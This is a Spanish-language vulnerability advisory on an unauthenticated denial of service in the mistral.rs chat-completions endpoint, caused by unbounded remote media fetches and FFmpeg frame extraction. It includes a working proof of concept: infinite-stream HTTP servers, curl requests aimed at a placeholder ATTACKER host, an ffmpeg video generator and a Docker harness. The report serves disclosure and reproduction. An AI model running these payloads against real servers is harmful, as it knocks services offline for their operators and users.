Recuperación remota de medios sin límite y DoS por expansión de frames de vídeo
Resumen
El endpoint POST /v1/chat/completions de mistral.rs recupera en memoria del servidor URLs de medios suministradas por el atacante (imagen, audio, vídeo) sin ningún límite de bytes, y extrae cada fotograma de un vídeo suministrado cuando num_frames es None. Un atacante remoto no autenticado puede agotar la memoria del servidor, el espacio en disco y la CPU apuntando el endpoint a un servidor HTTP de streaming infinito o a un vídeo largo de alta frecuencia de imagen, causando una denegación de servicio completa. No se requieren credenciales ni configuración especial; la ruta está abierta por defecto.
Detalles
Tres sumideros independientes contribuyen a la vulnerabilidad:
1. Recuperación sin límite de imagen y audio (mistralrs-server-core/src/util.rs:59-62)
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
match reqwest::get(url.clone()).await {
Ok(http_resp) => http_resp.bytes().await?.to_vec(), // sin límite de bytes
Err(e) => anyhow::bail!(e),
}
bytes().await almacena en buffer el cuerpo completo de la respuesta HTTP antes de retornar. No existe verificación de Content-Length, ningún límite de streaming y ningún timeout específico para la recuperación de medios. Un servidor controlado por el atacante que nunca cierra la conexión provoca que el proceso del servidor acumule memoria indefinidamente.
2. Recuperación sin límite de vídeo (mistralrs-server-core/src/video.rs:65-69)
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
let resp = reqwest::get(url.clone())
.await
.context(format!("Failed to fetch video: {url}"))?;
resp.bytes().await?.to_vec() // sin límite de bytes
Patrón idéntico al de la ruta de imagen; el cuerpo completo del vídeo se almacena en un Vec<u8>.
3. Extracción de frames FFmpeg sin límite (mistralrs-server-core/src/video.rs:225-248)
} else {
let mut command = tokio::process::Command::new("ffmpeg");
command
.arg("-i")
.arg(input_path.to_str().unwrap())
.arg("-vsync")
.arg("vfr")
.arg(&output_pattern);
Cuando num_frames es None, no se pasa ningún argumento -frames:v a FFmpeg y se extrae cada fotograma al disco. El punto de llamada en mistralrs-server-core/src/chat_completion.rs:946 siempre pasa None:
parse_video_url(&url_unparsed, None)
Un vídeo de 60 fps a 1080p de 180 segundos produce aproximadamente 10.800 archivos PNG, consumiendo decenas de gigabytes de espacio en disco y saturando la CPU.
Punto de entrada y autenticación
La ruta se registra en mistralrs-server-core/src/mistralrs_server_router_builder.rs:365-368 únicamente con middleware track_metrics, CORS y DefaultBodyLimit(50 MB). El DefaultBodyLimit se aplica solo al cuerpo JSON de la solicitud entrante, no a las llamadas posteriores reqwest::get() del lado del servidor. No hay middleware de autenticación en la configuración por defecto.
Prueba de concepto
Paso 1: Crear un vídeo largo de alta frecuencia de imagen (requiere FFmpeg en la máquina del atacante)
ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
-c:v libx264 -preset ultrafast -crf 35 many_frames.mp4
Paso 2: Servir el vídeo (o un stream infinito de bytes) desde un servidor HTTP controlado por el atacante
# Opción A: servir el archivo de vídeo
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "video/mp4")
self.end_headers()
with open("many_frames.mp4", "rb") as f:
self.wfile.write(f.read())
HTTPServer(("0.0.0.0", 9001), H).serve_forever()
# Opción B: stream infinito de imagen (agotamiento de memoria, sin FFmpeg)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.end_headers()
chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
while True:
self.wfile.write(chunk)
self.wfile.flush()
time.sleep(0.01)
HTTPServer(("0.0.0.0", 9002), H).serve_forever()
Paso 3: Enviar la solicitud maliciosa al servidor mistral.rs
# Variante de vídeo (agotamiento de disco y CPU + memoria)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
{"type": "text", "text": "summarize this video"}
]
}]
}'
# Variante de imagen (agotamiento de memoria)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{
"model": "default",
"messages": [{
"role": "user",
"content": [
{"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
{"type": "text", "text": "describe this image"}
]
}]
}'
Observación esperada
Para la variante de vídeo: /tmp/mistralrs_video/<uuid>_frames/frame_*.png crece rápidamente; FFmpeg satura la CPU; el uso de disco aumenta hasta el agotamiento o hasta que el proceso es terminado.
Para la variante de imagen: el RSS del proceso del servidor crece continuamente hasta que el kernel lo termina por OOM (código de salida 137) o se agota la memoria.
Resultado de reproducción dinámica (Fase 2)
Un contenedor Docker ejecutando una reproducción literal de util.rs:59-62 (el patrón reqwest::get(url).bytes().await?.to_vec()) con un límite de memoria de 256 MB fue terminado por el kernel por OOM (código de salida 137) tras 1,3 segundos mientras recuperaba el stream infinito. El RSS del proceso al inicio de la recuperación era de 3.652 kB; el contenedor consumió los 256 MB completos antes de que la recuperación pudiera completarse.
Impacto
Cualquier usuario del servidor HTTP compatible con OpenAI de mistral.rs se ve afectado. Dado que el endpoint /v1/chat/completions no requiere autenticación en la configuración por defecto, una única solicitud HTTP no autenticada desde la red es suficiente para agotar toda la memoria disponible del servidor (mediante la ruta de imagen y audio), todo el espacio en disco disponible (mediante la ruta de extracción de frames de vídeo) o saturar la CPU (mediante la invocación de FFmpeg). El resultado es una denegación de servicio completa: el proceso del servidor es terminado por el OOM killer del kernel o queda sin respuesta, y ningún otro cliente puede ser atendido hasta que el proceso se reinicie.
Artefactos de reproducción
Dockerfile
# syntax=docker/dockerfile:1
#
# VULN-001 PoC: Unbounded Remote Media Fetch DoS
# Repository: EricLBuehler/mistral.rs
# Vulnerability: mistralrs-server-core/src/util.rs:62
# http_resp.bytes().await?.to_vec() -- sin límite de bytes en recuperación de medios HTTP
FROM rust:1.87-slim AS builder
WORKDIR /harness
RUN apt-get update && \
apt-get install -y --no-install-recommends pkg-config libssl-dev && \
rm -rf /var/lib/apt/lists/*
COPY vuln_harness/Cargo.toml Cargo.toml
RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1
COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
strip target/release/vuln_harness
FROM debian:bookworm-slim AS runtime
RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates python3 && \
rm -rf /var/lib/apt/lists/*
COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness
COPY poc.py /poc.py
ENTRYPOINT ["/usr/local/bin/vuln_harness"]
CMD ["--help"]
poc.py
"""
VULN-001 PoC: Unbounded Remote Media Fetch DoS
Repository : EricLBuehler/mistral.rs
CWE : CWE-400 Uncontrolled Resource Consumption
CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Código vulnerable (mistralrs-server-core/src/util.rs:59-62):
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
match reqwest::get(url.clone()).await {
Ok(http_resp) => http_resp.bytes().await?.to_vec(), // SIN LÍMITE DE BYTES
...
Ruta de ataque en el servidor activo:
POST /v1/chat/completions
-> chat_completion.rs:928 parse_image_url(&url_unparsed)
-> util.rs:59-62 reqwest::get(url).bytes().await?.to_vec()
Este PoC:
1. Inicia un servidor HTTP malicioso en 127.0.0.1:9997 que transmite bytes infinitos.
2. Ejecuta el binario vuln_harness (que contiene la recuperación vulnerable literal)
dentro de un contenedor Docker limitado a MEMORY_LIMIT_MB de RAM.
3. Observa la terminación por OOM (código de salida 137) como evidencia definitiva
de buffering sin límite.
"""
import http.server
import subprocess
import threading
import time
import sys
import os
import socket
import json
import argparse
MALICIOUS_HOST = "127.0.0.1"
MALICIOUS_PORT = 9997
DOCKER_IMAGE = "vuln001-poc"
MEMORY_LIMIT = "256m"
CHUNK_SIZE = 1024 * 1024
POC_TIMEOUT_S = 120
class _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.end_headers()
header = b"\x89PNG\r\n\x1a\n" + b"\x00" * 8
filler = b"\x00" * (CHUNK_SIZE - len(header))
chunk = header + filler
total_sent = 0
try:
while True:
self.wfile.write(chunk)
self.wfile.flush()
total_sent += len(chunk)
if total_sent % (64 * 1024 * 1024) == 0:
_log(f"[malicious-server] Sent {total_sent // (1024 * 1024)} MB")
except (BrokenPipeError, ConnectionResetError, OSError):
_log(
f"[malicious-server] Connection closed after "
f"{total_sent // (1024 * 1024)} MB sent"
)
def log_message(self, *_):
pass
def _log(msg: str) -> None:
print(msg, flush=True)
def _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
with socket.create_connection((host, port), timeout=0.5):
return True
except OSError:
time.sleep(0.1)
return False
def start_malicious_server() -> http.server.HTTPServer:
server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
return server
def run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:
_log("=" * 70)
_log("VULN-001 PoC: Unbounded Remote Media Fetch DoS")
_log("Source : mistralrs-server-core/src/util.rs:59-62")
_log("=" * 70)
_log(f"\n[1] Iniciando servidor HTTP malicioso en {MALICIOUS_HOST}:{MALICIOUS_PORT}")
server = start_malicious_server()
if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):
_log("[!] FATAL: el servidor malicioso no arrancó a tiempo")
return {
"passed": False,
"verdict": "FAIL",
"exit_code": None,
"evidence": "El servidor HTTP malicioso no pudo iniciarse",
"stdout": "",
"stderr": "",
}
target_url = f"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite"
_log(f"[+] Servidor malicioso listo: GET {target_url}")
run_cmd = [
"docker", "run", "--rm",
"--memory", memory_limit,
"--memory-swap", memory_limit,
"--network", "host",
docker_image,
target_url,
]
_log(f"\n[2] Lanzando contenedor Docker (límite de memoria = {memory_limit})")
_log(f" Comando: {' '.join(run_cmd)}")
t0 = time.monotonic()
try:
result = subprocess.run(
run_cmd,
capture_output=True,
timeout=POC_TIMEOUT_S,
)
except subprocess.TimeoutExpired as exc:
server.shutdown()
elapsed = time.monotonic() - t0
return {
"passed": False,
"verdict": "INCOMPLETE",
"exit_code": None,
"evidence": f"El contenedor agotó el tiempo ({elapsed:.0f}s) sin OOM kill",
"stdout": (exc.stdout or b"").decode(errors="replace"),
"stderr": (exc.stderr or b"").decode(errors="replace"),
}
elapsed = time.monotonic() - t0
exit_code = result.returncode
stdout_txt = result.stdout.decode(errors="replace")
stderr_txt = result.stderr.decode(errors="replace")
server.shutdown()
_log(f"\n[3] Contenedor terminado tras {elapsed:.1f}s exit_code={exit_code}")
if exit_code == 137:
passed = True
verdict = "PASS"
evidence = (
f"Contenedor Docker terminado por OOM (código de salida 137 = 128+SIGKILL) "
f"tras {elapsed:.1f}s. vuln_harness almacenó el stream HTTP infinito sin "
f"límite de bytes, consumiendo los {memory_limit} de RAM disponibles."
)
elif exit_code != 0:
passed = True
verdict = "PASS"
evidence = (
f"El binario vulnerable terminó de forma anormal (código de salida {exit_code}) "
f"tras {elapsed:.1f}s mientras almacenaba un stream HTTP sin límite."
)
else:
passed = False
verdict = "INCOMPLETE"
evidence = (
f"El binario terminó con código 0 tras {elapsed:.1f}s; "
f"el límite de memoria puede no haberse aplicado."
)
_log(f"\n[VEREDICTO] {verdict}")
_log(f"[EVIDENCIA] {evidence}")
return {
"passed": passed,
"verdict": verdict,
"exit_code": exit_code,
"evidence": evidence,
"stdout": stdout_txt,
"stderr": stderr_txt,
}
def main() -> None:
parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
parser.add_argument("--image", default=DOCKER_IMAGE)
parser.add_argument("--memory", default=MEMORY_LIMIT)
args = parser.parse_args()
outcome = run_poc(docker_image=args.image, memory_limit=args.memory)
sys.exit(0 if outcome["passed"] else 1)
if __name__ == "__main__":
main()
